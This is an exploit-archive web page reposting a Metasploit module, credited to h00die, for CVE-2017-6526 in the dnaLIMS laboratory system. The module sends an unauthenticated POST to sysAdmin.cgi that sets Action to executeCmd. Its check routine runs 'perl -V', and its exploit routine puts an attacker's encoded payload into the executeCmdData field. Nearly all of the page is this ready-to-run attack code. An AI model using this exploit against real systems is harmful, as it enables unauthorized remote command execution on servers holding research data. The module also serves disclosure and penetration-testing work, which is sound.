首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
dnaLIMS Admin Module Command Execution
来源:metasploit.com 作者:h00die 发布时间:2017-03-21  
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'dnaLIMS Admin Module Command Execution',
      'Description'    => %q{
          This module utilizes an administrative module which allows for
       command execution.  This page is completely unprotected from any
       authentication when given a POST request.
      },
      'Author'         =>
        [
          'h00die <mike@shorebreaksecurity.com>',  # Discovery, PoC
          'flakey_biscuit <nicholas@shorebreaksecurity.com>' # Discovery, PoC
        ],
      'License'        => MSF_LICENSE,
      'References'     =>
        [
          ['CVE', '2017-6526'],
          ['US-CERT-VU', '929263'],
          ['URL', 'https://www.shorebreaksecurity.com/blog/product-security-advisory-psa0002-dnalims/']
        ],
      'Platform'       => %w( linux unix ),
      'Arch'           => ARCH_CMD,
      'Payload'        =>
        {
          'Space'       => 1024,
          'DisableNops' => true,
          'Compat'      =>
            {
              'RequiredCmd' => 'perl' # software written in perl, and guaranteed to be there
            }
        },
      'Targets'        =>
        [
          [ 'Automatic Target', { }]
        ],
      'DefaultTarget'  => 0,
      'DisclosureDate' => 'Mar 8 2017'
      ))

    register_options(
      [
        OptString.new('TARGETURI', [true, 'The base path to dnaLIMS', '/cgi-bin/dna/'])
      ], self.class
    )
  end

  def check
    begin
      res = send_request_cgi(
        'uri'       => normalize_uri(target_uri.path, 'sysAdmin.cgi'),
        'method'    => 'POST',
        'vars_post'  => {
          'investigator' => '',
          'username' => '',
          'navUserName' => '',
          'Action' => 'executeCmd',
          'executeCmdData' => 'perl -V'
        }
      )
      if res && res.body
        if /Summary of/ =~ res.body
          Exploit::CheckCode::Vulnerable
        else
          Exploit::CheckCode::Safe
        end
      else
        Exploit::CheckCode::Safe
      end
    rescue ::Rex::ConnectionError
      fail_with(Failure::Unreachable, "#{peer} - Could not connect to the web service")
    end
  end

  def exploit
    begin
      vprint_status('Sending Exploit')
      res = send_request_cgi(
        'uri'       => normalize_uri(target_uri.path, 'sysAdmin.cgi'),
        'method'    => 'POST',
        'vars_post'  => {
          'investigator' => '',
          'username' => '',
          'navUserName' => '',
          'Action' => 'executeCmd',
          'executeCmdData' => payload.encoded,
        }
      )
      vprint_good(res.body)
    rescue ::Rex::ConnectionError
      fail_with(Failure::Unreachable, "#{peer} - Could not connect to the web service")
    end
  end
end



 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·D-Link DGS-1510 - Multiple Vul
·Disk Sorter Enterprise 9.5.12
·Microsoft Internet Explorer -
·SpyCamLizard 1.230 - Denial of
·Mozilla Firefox - 'table' Use-
·SysGauge 1.5.18 - SMTP Validat
·ExtraPuTTY 0.29-RC2 - Denial o
·OpenSSH On Cygwin SFTP Client
·FTPShell Server 6.56 - 'Change
·D-Link DSL-2640B Remote DNS Ch
·FTPShell Client 6.53 - 'Sessio
·Logsign Remote Command Injecti
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved